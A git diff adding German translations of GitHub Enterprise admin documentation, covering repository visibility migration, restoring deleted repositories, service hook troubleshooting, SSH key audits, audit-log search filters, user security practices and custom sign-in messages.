+In zukünftigen Releases von {% data variables.product.prodname_ghe_server %} werden wir die Sichtbarkeit des Repositorys so einstellen, dass die Begriffe „öffentlich“, „intern“ und „privat“ für Entwickler auf {% data variables.product.prodname_ghe_server %} und {% data variables.product.prodname_ghe_cloud %} eine einheitliche Bedeutung haben.
+
+Wenn der private Modus aktiviert ist, kannst du eine Migration auf deiner Instanz durchführen, um öffentliche Repositories nach intern zu konvertieren und Dich so auf diese Änderungen vorzubereiten. Diese Migration ist derzeit optional, damit du die Änderungen an einer nicht-produktiven Instanz testen kannst. In Zukunft wird die Migration unumgänglich.
+
+Wenn du die Migration ausführst, werden alle öffentlichen Repositories von Organisationen in deiner Instanz zu internen Repositorys. Wenn irgendwelche dieser Repositories Forks haben, werden die Forks privat. Private Repositorys bleiben privat.
+
+Alle öffentlichen Repositories im Besitz von Benutzerkonten in deiner Instanz werden zu privaten Repositorys. Wenn irgendwelche dieser Repositories Forks haben, werden die Forks ebenfalls privat. Der Besitzer jedes Forks erhält Leseberechtigungen für das übergeordnete Element des Forks.
+
+Der anonyme Git-Lesezugriff wird für jedes öffentliche Repository deaktiviert, das intern oder privat wird.
+
+Wenn deine aktuelle Standardsichtbarkeit für Repositorys öffentlich ist, wird die Standardeinstellung intern. Wenn der aktuelle Standardwert privat ist, ändert er sich nicht. Du kannst den Standardwert jederzeit ändern. Weitere Informationen findest du unter [Erzwingen von Repositoryverwaltungsrichtlinien in deinem Unternehmen](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-the-default-visibility-of-new-repositories-in-your-enterprise).
+
+Die Repository-Erstellungsrichtlinie für die Instanz wird dahingehend geändert, dass öffentliche Repositorys verhindert und private und interne Repositories ermöglicht werden. Du kannst die Richtlinie jederzeit aktualisieren. Weitere Informationen findest du unter [Einschränken der Erstellung von Repositorys in deinen Instanzen](/enterprise/admin/user-management/restricting-repository-creation-in-your-instance).
+
+Wenn du den private Modus nicht aktiviert hast, hat das Migrationsskript keine Auswirkung.
+
+## Die Migration durchführen
+
+1. Stelle eine Verbindung zur Verwaltungsshell her. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/enterprise/admin/installation/accessing-the-administrative-shell-ssh).
+{% ifversion ghes or ghae %}
+2. Führe den Migrationsbefehl aus.
+
+   ```shell
+   github-env bin/safe-ruby lib/github/transitions/20191210220630_convert_public_ghes_repos_to_internal.rb --verbose -w |  tee -a /tmp/convert_public_ghes_repos_to_internal.log
+   ```
+
+{% else %}
+2. Navigiere zum Verzeichnis `/data/github/current`.
+   ```shell
+   cd /data/github/current
+   ```
+3. Führe den Migrationsbefehl aus.
+   ```shell
+   sudo bin/safe-ruby lib/github/transitions/20191210220630_convert_public_ghes_repos_to_internal.rb --verbose -w | tee -a /tmp/convert_public_ghes_repos_to_internal.log
+   ```
+{% endif %}
+
+Die Protokollausgabe wird im Terminal und in `/tmp/convert_public_ghes_repos_to_internal.log` angezeigt.
+
+## Weitere Informationsquellen
+
+- „[Aktivieren des privaten Modus](/enterprise/admin/installation/enabling-private-mode)“
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
new file mode 100644
index 0000000000..5beff847d5
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md
@@ -0,0 +1,41 @@
+---
+title: Wiederherstellen eines gelöschten Repositorys
+intro: 'Gelöschte Repositorys können wiederhergestellt werden, sodass ihr Inhalt wieder verfügbar wird.'
+permissions: Enterprise owners can restore a deleted repository.
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+  - Privacy
+  - Repositories
+shortTitle: Restore a deleted repository
+ms.openlocfilehash: 538521e865b6a59c1d143a9774d7a462f5e4ee42
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146199786'
+---
+## Informationen zur Repository-Wiederherstellung
+
+Wenn ein Repository gelöscht wird, bleibt es in der Regel 90 Tage lang weiterhin auf der Disk und kann über das Websiteadministrator-Dashboard wiederhergestellt werden. Weitere Informationen findest du unter [Websiteadministrator-Dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard).
+
+Außer wenn eine gesetzliche Aufbewahrungspflicht in Kraft ist, wird das Repository nach 90 Tagen bereinigt und endgültig gelöscht.
+
+Wenn ein Repository Teil eines Fork-Netzwerks war, als es gelöscht wurde, wird das wiederhergestellte Repository vom ursprünglichen Fork-Netzwerk getrennt.
+
+Wenn du ein Repository löschst, kann es bis zu einer Stunde dauern, bis dieses Repository wiederhergestellt werden kann.
+
+Beim Wiederherstellen eines Repositorys werden etwaige Releaseanhänge oder Teamberechtigungen nicht wiederhergestellt. Wiederhergestellte Probleme werden nicht gekennzeichnet.
+
+## Wiederherstellen eines gelöschten Repositorys
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %}
+1. Klicke im Abschnitt {% octicon "repo" aria-label="The repo icon" %} **Repositorys** auf den Link {% octicon "trash" aria-label="The trash icon" %} **Gelöschte Repositorys**.
+1. Suche das Repository, das du wiederherstellen möchtest, in der Liste „Deleted repositories“ (Gelöschte Repositorys), und klicke dann rechts neben dem Repositorynamen auf **Restore** (Wiederherstellen).
+1. Zur Bestätigung, dass du das genannte Repository wiederherstellen möchtest, klicke auf **Restore** (Wiederherstellen).
+
+## Weiterführende Themen
+
+- „[Festlegen einer gesetzlichen Aufbewahrungspflicht für einen Benutzer oder eine Organisation](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization)“
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
new file mode 100644
index 0000000000..e1ba18fa0b
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
@@ -0,0 +1,53 @@
+---
+title: Fehlerbehebung bei Dienst-Hooks
+intro: 'Wenn keine Nutzdaten bereitgestellt werden, solltest du nach diesen allgemeinen Problemen suchen.'
+redirect_from:
+  - /enterprise/admin/articles/troubleshooting-service-hooks
+  - /enterprise/admin/developer-workflow/troubleshooting-service-hooks
+  - /enterprise/admin/user-management/troubleshooting-service-hooks
+  - /admin/user-management/troubleshooting-service-hooks
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+shortTitle: Troubleshoot service hooks
+ms.openlocfilehash: 224a0071d87407f9f6bb15ababbdb0c7171f8799
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145104735'
+---
+## Informationen zu Auslieferungen abrufen
+
+Du kannst nach Informationen für die letzte Antwort sämtlicher Dienst-Hook-Auslieferungen auf einem beliebigen Repository suchen.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. Navigiere zu dem Repository, das du untersuchst.
+3. Klicke in der Navigationsseitenleiste auf den Link **Hooks**.
+  ![Seitenleiste „Hooks“](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Klicke unter dem Diensthook mit Problemen auf den Link **Neueste Übermittlung**.
+  ![Hook-Details](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
+5. Unter **Remoteaufrufe** werden die beim Senden der POST-Methode an den Remoteserver verwendeten Header zusammen mit der Antwort angezeigt, die der Remoteserver an deine Installation zurückgesendet hat.
+
+## Nutzlast anzeigen
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. Navigiere zu dem Repository, das du untersuchst.
+3. Klicke in der Navigationsseitenleiste auf den Link **Hooks**.
+  ![Seitenleiste „Hooks“](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Klicke unter dem Diensthook mit Problemen auf den Link **Neueste Übermittlung**.
+5. Klicke auf **Übermittlung**.
+  ![Anzeigen der Nutzlast](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
+
+## Vergangene Auslieferungen anzeigen
+
+Auslieferungen werden 15 Tage lang gespeichert.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. Navigiere zu dem Repository, das du untersuchst.
+3. Klicke in der Navigationsseitenleiste auf den Link **Hooks**.
+  ![Seitenleiste „Hooks“](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. Klicke unter dem Diensthook mit Problemen auf den Link **Neueste Übermittlung**.
+5. Wenn du weitere Übermittlungen an diesen spezifischen Hook anzeigen möchtest, klicke auf **More for this Hook ID:**![Viewing more deliveries](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png) (Mehr für diese Hook-ID: Weitere Übermittlungen anzeigen).
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
new file mode 100644
index 0000000000..2c9b8d3dfd
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
@@ -0,0 +1,73 @@
+---
+title: SSH-Schlüssel überwachen
+intro: Websiteadministratoren können ein instanzweites Audit der SSH-Schlüssel initiieren.
+redirect_from:
+  - /enterprise/admin/articles/auditing-ssh-keys
+  - /enterprise/admin/user-management/auditing-ssh-keys
+  - /admin/user-management/auditing-ssh-keys
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Security
+  - SSH
+ms.openlocfilehash: 6ffcbdc698b6eb3a4736fdb2b4713e2871dcaac2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147508432'
+---
+Sobald das Audit initiiert ist, werden alle vorhandenen SSH-Schlüssel deaktiviert und Benutzer gezwungen, sie zu genehmigen oder abzulehnen, bevor sie diese klonen, abrufen oder per Push-Vorgang an Repositorys übertragen können. Ein Audit eignet sich in Situationen, in denen ein Mitarbeiter oder Vertragsnehmer das Unternehmen verlässt und du sicherstellen musst, dass alle Schlüssel verifiziert sind.
+
+## Audit initiieren
+
+SSH-Schlüssel-Audits können im Websiteadministrator-Dashboard auf der Registerkarte „All users“ (Alle Benutzer) initiiert werden:
+
+![Starting a public key audit (Audit für öffentliche Schlüssel starten)](/assets/images/enterprise/security/Enterprise-Start-Key-Audit.png)
+
+Nachdem du auf die Schaltfläche „Start public key audit“ (Audit für öffentliche Schlüssel starten) geklickt hast, gelangst du zu einem Bestätigungsbildschirm, auf dem erklärt wird, was als Nächstes passiert:
+
+![Audit bestätigen](/assets/images/enterprise/security/Enterprise-Begin-Audit.png)
+
+Nachdem du auf die Schaltfläche „Begin audit“ (Audit starten) geklickt hast, sind alle SSH-Schlüssel ungültig und müssen genehmigt werden. Es wird eine Benachrichtigung angezeigt, die auf den Audit-Start hinweist.
+
+## Anzeige für Benutzer
+
+Wenn ein Benutzer versucht, einen Git-Vorgang mittels SSH durchzuführen, schlägt dieser fehl. Zudem wird die folgende Meldung angezeigt:
+
+```shell
+ERROR: Hi <em>username</em>. We're doing an SSH key audit.
+Please visit http(s)://<em>hostname</em>/settings/ssh/audit/2
+to approve this key so we know it's safe.
+Fingerprint: ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
+fatal: The remote end hung up unexpectedly
+```
+
+Wenn du auf den Link klickst, wirst du aufgefordert, die Schlüssel für ihr Konto zu genehmigen:
+
+![Schlüssel überwachen](/assets/images/enterprise/security/Enterprise-Audit-SSH-Keys.jpg)
+
+Nachdem sie ihre Schlüssel genehmigt oder abgelehnt haben, können sie wie gewohnt mit den Repositorys interagieren.
+
+## SSH-Schlüssel hinzufügen
+
+{% ifversion ghes %}
+
+Wenn ein*e neue*r Benutzer*in einem Konto einen SSH-Schlüssel hinzufügt, um seinen bzw. ihren Zugriff zu bestätigen, wird er bzw. sie von {% data variables.product.product_name %} zur Authentifizierung aufgefordert. Weitere Informationen findest du unter [Sudo-Modus](/authentication/keeping-your-account-and-data-secure/sudo-mode).
+
+{% endif %}
+
+Wenn ein Benutzer einen Schlüssel hinzufügt, erhält er eine Benachrichtigungs-E-Mail, die in etwa wie folgt aussieht:
+
+    The following SSH key was added to your account:
+
+    [title]
+    ed:21:60:64:c0:dc:2b:16:0f:54:5f:2b:35:2a:94:91
+
+    If you believe this key was added in error, you can remove the key and disable access at the following location:
+
+    http(s)://HOSTNAME/settings/ssh
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
new file mode 100644
index 0000000000..4acbcbf8f0
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise.md
@@ -0,0 +1,123 @@
+---
+title: Überwachen von Benutzer*innen in deinem Unternehmen
+intro: 'Das Überwachungsprotokolldashboard zeigt Websiteadministratoren die Aktionen aller Benutzer*innen und Organisationen in deinem Unternehmen innerhalb des aktuellen Monats und der vorherigen sechs Monate an. Das Überwachungsprotokoll enthält Details wie den Ausführenden, die Art und den Zeitpunkt der Aktionen.'
+redirect_from:
+  - /enterprise/admin/guides/user-management/auditing-users-across-an-organization
+  - /enterprise/admin/user-management/auditing-users-across-your-instance
+  - /admin/user-management/auditing-users-across-your-instance
+  - /admin/user-management/auditing-users-across-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Auditing
+  - Enterprise
+  - Organizations
+  - Security
+  - User account
+shortTitle: Audit users
+ms.openlocfilehash: 18ea00b69f452ff496670fbd31e41bb8038cc46d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146331688'
+---
+## Zugriff auf das Auditprotokoll
+
+Auf dem Dashboard für Überwachungsprotokolle werden die Überwachungsdaten deines Unternehmens visualisiert.
+
+![Instanzweites Auditprotokoll-Dashboard](/assets/images/enterprise/site-admin-settings/audit-log-dashboard-admin-center.png)
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %}
+
+Auf der Karte kannst du schwenken und zoomen, um Ereignisse auf der gesamten Welt zu sehen. Bewege den Mauszeiger über ein Land, um eine schnelle Zählung der Ereignisse für dieses Land zu sehen.
+
+## Suchen nach Ereignissen in deinem Unternehmen
+
+Im Überwachungsprotokoll werden die folgenden Informationen zu Aktionen aufgeführt, die in deinem Unternehmen durchgeführt wurden:
+
+* [Das Repository](#search-based-on-the-repository), in dem die Aktion durchgeführt wurde
+* [Der Benutzer](#search-based-on-the-user), der die Aktion durchgeführt hat
+* [Welche Organisation](#search-based-on-the-organization) eine Aktion betrifft
+* [Die durchgeführte Aktion](#search-based-on-the-action-performed)
+* [Das Land](#search-based-on-the-location), in dem die Aktion durchgeführt wurde
+* [Das Datum und den Zeitpunkt](#search-based-on-the-time-of-action) der Aktion
+
+{% warning %}
+
+**Hinweise:**
+
+- Du kannst zwar keinen Text für die Suche nach Audit-Einträgen verwenden, aber du kannst Suchabfragen mit einer Vielzahl von Filtern erstellen. {% data variables.product.product_name %} unterstützt viele Operatoren, mit denen du {% data variables.product.product_name %} durchsuchen kannst. Weitere Informationen findest du unter [Informationen zur Suche auf {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github).
+- Überwachungsdatensätze sind für den aktuellen Monat und jeden Tag der vorangegangenen sechs Monate verfügbar.
+
+{% endwarning %}
+
+### Repository-basierte Suche
+
+Der `repo`-Qualifizierer beschränkt Aktionen auf ein bestimmtes Repository, das sich im Besitz deiner Organisation befindet. Beispiel:
+
+* `repo:my-org/our-repo` sucht alle Ereignisse, die für das `our-repo`-Repository in der `my-org`-Organisation aufgetreten sind.
+* `repo:my-org/our-repo repo:my-org/another-repo` sucht alle Ereignisse, die für die `our-repo`- und `another-repo`-Repositorys in der `my-org`-Organisation aufgetreten sind.
+* `-repo:my-org/not-this-repo` schließt alle Ereignisse aus, die für das `not-this-repo`-Repository in der `my-org`-Organisation aufgetreten sind.
+
+Du musst den Namen deiner Organisation in den `repo`-Qualifizierer einschließen. Nur nach `repo:our-repo` zu suchen ist nicht möglich.
+
+### Suche nach Benutzer
+
+Der `actor`-Qualifizierer legt den Umfang der Ereignisse auf der Grundlage des Mitglieds deiner Organisation fest, das die Aktion durchgeführt hat. Beispiel:
+
+* `actor:octocat` findet alle Ereignisse, die von `octocat` durchgeführt wurden.
+* `actor:octocat actor:hubot` findet alle Ereignisse, die von `octocat` und `hubot` durchgeführt wurden.
+* `-actor:hubot` schließt alle Ereignisse aus, die von `hubot` durchgeführt wurden.
+
+Du kannst nur den in {% data variables.product.product_name %} verwendeten Benutzernamen, aber nicht den wirklichen Namen eines Benutzers verwenden.
+
+### Organisationsbasierte Suche
+
+Der `org`-Qualifizierer beschränkt Aktionen auf eine bestimmte Organisation. Beispiel:
+
+* `org:my-org` sucht alle Ereignisse, die für die `my-org`-Organisation aufgetreten sind.
+* `org:my-org action:team` sucht alle Teamereignisse, die innerhalb der `my-org`-Organisation aufgetreten sind.
+* `-org:my-org` schließt alle Ereignisse aus, die für die `my-org`-Organisation aufgetreten sind.
+
+### Suche nach der Art der durchgeführten Aktion
+
+Der `action`-Qualifizierer sucht nach bestimmten Ereignissen, die in Kategorien gruppiert sind. Unter [Überwachungsprotokoll-Ereignisse für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) findest du Informationen zu den Ereignissen, die diesen Kategorien zugeordnet sind.
+
+| Kategoriename | BESCHREIBUNG
+|------------------|-------------------
+| `hook` | Umfasst alle Aktivitäten in Verbindung mit Webhooks.
+| `org` | Umfasst alle Aktivitäten in Verbindung mit der Organisationsmitgliedschaft.
+| `repo` | Umfasst alle Aktivitäten in Verbindung mit den deiner Organisation gehörenden Repositorys
+| `team` | Umfasst alle Aktivitäten in Verbindung mit Teams in deiner Organisation
+
+Mit den folgenden Suchbegriffen kannst du nach bestimmten Aktionsgruppen suchen. Beispiel:
+
+* `action:team` sucht alle Ereignisse, die in der Teamkategorie gruppiert sind.
+* `-action:billing` schließt alle Ereignisse in der Abrechnungskategorie aus.
+
+Zu jeder Kategorie gehört eine Gruppe zugehöriger Ereignisse, nach der du filtern kannst. Beispiel:
+
+* `action:team.create` sucht alle Ereignisse, bei denen ein Team erstellt wurde.
+* `-action:billing.change_email` schließt alle Ereignisse aus, bei denen die Abrechnungs-E-Mail geändert wurde.
+
+### Standortbasierte Suche
+
+Der `country`-Qualifizierer filtert Aktionen nach dem Ursprungsland.
+- Hierzu verwendest du den zweistelligen Kurzcode oder den vollständigen Namen des Landes.
+- Ländernamen mit Leerzeichen müssen in Anführungszeichen eingeschlossen sein. Beispiel:
+  * `country:de` sucht alle Ereignisse, die in Deutschland aufgetreten sind.
+  * `country:Mexico` sucht alle Ereignisse, die in Mexiko aufgetreten sind.
+  * `country:"United States"` sucht alle Ereignisse, die in den USA aufgetreten sind.
+
+### Aktionszeitpunktbasierte Suche
+
+Der `created`-Qualifizierer filtert Aktionen nach dem Zeitpunkt, an dem sie aufgetreten sind.
+- Definiere Datumsangaben im Format `YYYY-MM-DD`, also mit dem Jahr, gefolgt vom Monat und dem Tag.
+- Datumsangaben unterstützen [„Größer als“- und „Kleiner als“-Qualifizierer sowie Bereichsqualifizierer](/enterprise/user/articles/search-syntax). Beispiel:
+  * `created:2014-07-08` sucht alle Ereignisse, die am 8. Juli 2014 aufgetreten sind.
+  * `created:>=2014-07-01` sucht alle Ereignisse, die am oder nach dem 8. Juli 2014 aufgetreten sind.
+  * `created:<=2014-07-01` sucht alle Ereignisse, die am oder vor dem 8. Juli 2014 aufgetreten sind.
+  * `created:2014-07-01..2014-07-31` sucht alle Ereignisse, die im Juli 2014 aufgetreten sind.
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
new file mode 100644
index 0000000000..4c8ec0c06c
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/best-practices-for-user-security.md
@@ -0,0 +1,39 @@
+---
+title: Best Practices für die Benutzersicherheit
+intro: '{% ifversion ghes %}Abgesehen von den Sicherheitsmaßnahmen (SSL, Subdomain-Isolation, Firewallkonfiguration) auf Instanzebene, die von einem oder einer Websiteadministrator*in implementiert werden können, können {% else %}deine Benutzer*innen {% endif %}weitere Maßnahmen ergreifen, um dein Unternehmen zu schützen.'
+redirect_from:
+  - /enterprise/admin/user-management/best-practices-for-user-security
+  - /admin/user-management/best-practices-for-user-security
+versions:
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - Enterprise
+  - Security
+  - User account
+shortTitle: User security best practices
+ms.openlocfilehash: 57d19d97a8944ac20d6b90794bcf0cda63fc5bd0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146331656'
+---
+{% ifversion ghes %}
+## Zwei-Faktor-Authentifizierung aktivieren
+
+Mittels Zwei-Faktor-Authentifizierung (2FA) kannst du sich bei Websites und Diensten anmelden, die zusätzlich zur Eingabe eines Passworts zur Authentifizierung einen zweiten Faktor vorschreiben. Im Falle von {% data variables.product.prodname_ghe_server %} ist dieser zweite Faktor ein einmaliger Authentifizierungscode, der von einer Anwendung auf dem Smartphone eines Benutzers generiert wird. Du solltest unbedingt festlegen, dass Benutzer die Zwei-Faktor-Authentifizierung für ihre Konten aktivieren müssen. Mit der Zwei-Faktor-Authentifizierung müssten das Passwort des Benutzers und dessen Smartphone kompromittiert werden, damit das Konto an sich kompromittiert werden kann.
+
+Weitere Informationen zum Konfigurieren der zweistufigen Authentifizierung findest du unter [Informationen zur zweistufigen Authentifizierung](/enterprise/user/articles/about-two-factor-authentication).
+{% endif %}
+
+## Passwort-Manager vorschreiben
+
+Wir empfehlen dringend, dass deine Benutzer*innen einen Kennwort-Manager – z. B. [LastPass](https://lastpass.com/) oder [1Password](https://1password.com/) – auf jedem Computer installieren und verwenden müssen, über den sie eine Verbindung mit deinem Unternehmen herstellen. Dadurch wird gewährleistet, dass Passwörter sicherer sind und es unwahrscheinlicher ist, dass sie kompromittiert oder gestohlen werden.
+
+## Zugriff auf Teams und Repositorys einschränken
+
+Um im Falle einer Sicherheitsverletzung die potenzielle Angriffsfläche zu begrenzen, solltest du Benutzern unbedingt nur den Zugriff auf Teams und Repositorys gewähren, den sie zum Erledigen ihrer Arbeit unbedingt benötigen. Da Mitglieder mit der Inhaberrolle auf alle Teams und Repositorys in der Organisation zugreifen können, wird dringend empfohlen, dieses Team möglichst klein zu halten.
+
+Weitere Informationen zum Konfigurieren von Teams und Teamberechtigungen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
new file mode 100644
index 0000000000..13cfcae9f8
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise.md
@@ -0,0 +1,111 @@
+---
+title: Anpassen von Benutzernachrichten für dein Unternehmen
+shortTitle: Customizing user messages
+redirect_from:
+  - /enterprise/admin/user-management/creating-a-custom-sign-in-message
+  - /enterprise/admin/user-management/customizing-user-messages-on-your-instance
+  - /admin/user-management/customizing-user-messages-on-your-instance
+  - /admin/user-management/customizing-user-messages-for-your-enterprise
+intro: 'Du kannst benutzerdefinierte Meldungen erstellen, die den Benutzern in {% data variables.location.product_location %} angezeigt werden.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Maintenance
+ms.openlocfilehash: b767a651f19b6200abfc67696d98147ebf65bd9a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106429'
+---
+## Informationen zu Benutzernachrichten
+
+Es gibt mehrere Arten von Benutzernachrichten.
+- Nachrichten, die auf der {% ifversion ghes %}Anmelde- oder {% endif %}Abmeldeseite{% ifversion ghes or ghae %} angezeigt werden
+- Obligatorische Nachrichten, die einmal in einem Popupfenster angezeigt werden, das geschlossen werden muss{% endif %}{% ifversion ghes or ghae %}
+- Ankündigungsbanner, die oben auf jeder Seite angezeigt werden{% endif %}
+
+{% ifversion ghes %} {% note %}
+
+**Hinweis:** Wenn du SAML zur Authentifizierung verwendest, wird die Anmeldeseite von deinem Identitätsanbieter bereitgestellt und kann nicht über {% data variables.product.prodname_ghe_server %} angepasst werden.
+
+{% endnote %}
+
+Mittels Markdown kannst du deine Meldung formatieren. Weitere Informationen findest du unter [Schreiben und Formatieren auf {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github/).
+
+## Benutzerdefinierte Meldung für Anmeldung erstellen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
+5. {% ifversion ghes %}Klicke rechts neben{% else %}Klicke unter{% endif %} „Sign in page“ (Anmeldeseite) auf **Add message** (Nachricht hinzufügen) oder **Edit message** (Nachricht bearbeiten).
+![Schaltfläche {% ifversion ghes %}„Add{% else %}„Edit{% endif %} message“](/assets/images/enterprise/site-admin-settings/edit-message.png)
+6. Gib unter **Sign in message** (Anmeldenachricht) die Nachricht ein, die Benutzern angezeigt werden soll.
+![Sign in message](/assets/images/enterprise/site-admin-settings/sign-in-message.png) (Anmeldenachricht){% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} ![Schaltfläche „Preview“ (Vorschau)](/assets/images/enterprise/site-admin-settings/sign-in-message-preview-button.png)
+8. Überprüfe die dargestellte Meldung.
+![Gerenderte Anmeldenachricht](/assets/images/enterprise/site-admin-settings/sign-in-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %} {% endif %}
+
+## Benutzerdefinierte Meldung für Abmeldung erstellen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
+5. {% ifversion ghes or ghae %}Klicke rechts neben{% else %}Klicke unter{% endif %} „Sign out page“ (Anmeldeseite) auf **Add message** (Nachricht hinzufügen) oder **Edit message** (Nachricht bearbeiten).
+![Schaltfläche „Add message“ (Nachricht hinzufügen)](/assets/images/enterprise/site-admin-settings/sign-out-add-message-button.png)
+6. Gib unter **Sign out message** (Abmeldenachricht) die Nachricht ein, die Benutzern angezeigt werden soll.
+![Sign two_factor_auth_header message](/assets/images/enterprise/site-admin-settings/sign-out-message.png){% ifversion ghes or ghae %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}{% else %} {% data reusables.enterprise_site_admin_settings.click-preview %} ![Schaltfläche „Preview“ (Vorschau)](/assets/images/enterprise/site-admin-settings/sign-out-message-preview-button.png)
+8. Überprüfe die dargestellte Meldung.
+![Gerenderte Abmeldenachricht](/assets/images/enterprise/site-admin-settings/sign-out-message-rendered.png) {% data reusables.enterprise_site_admin_settings.save-changes %}{% endif %}
+
+{% ifversion ghes or ghae %}
+## Erstellen einer obligatorischen Nachricht
+
+Du kannst eine obligatorische Nachricht erstellen, die von {% data variables.product.product_name %} allen Benutzern beim ersten Anmelden angezeigt wird, nachdem du die Nachricht gespeichert hast. Die Meldung erscheint in einem Popupfenster, das der Benutzer schließen muss, bevor {% data variables.location.product_location %} verwendet werden kann.
+
+Obligatorische Nachrichten haben vielerlei Verwendungszwecke:
+
+- Bereitstellen von Onboardinginformationen für neue Mitarbeiter
+- Bereitstellen von Informationen zur Anforderung von Hilfe in Bezug auf {% data variables.location.product_location %}
+- Sicherstellen, dass alle Benutzer die Nutzungsbedingungen zur Verwendung {% data variables.location.product_location %} lesen
+
+Wenn du Markdownkontrollkästchen in die Nachricht einbeziehst, müssen alle Kontrollkästchen aktiviert werden, bevor der Benutzer die Nachricht schließen kann. Wenn du beispielsweise deine Nutzungsbedingungen in die obligatorische Nachricht aufnimmst, kannst du zur Bedingung machen, dass jeder Benutzer ein Kontrollkästchen aktivieren muss, um zu bestätigen, dass der Benutzer die Nutzungsbedingungen gelesen hat.
+
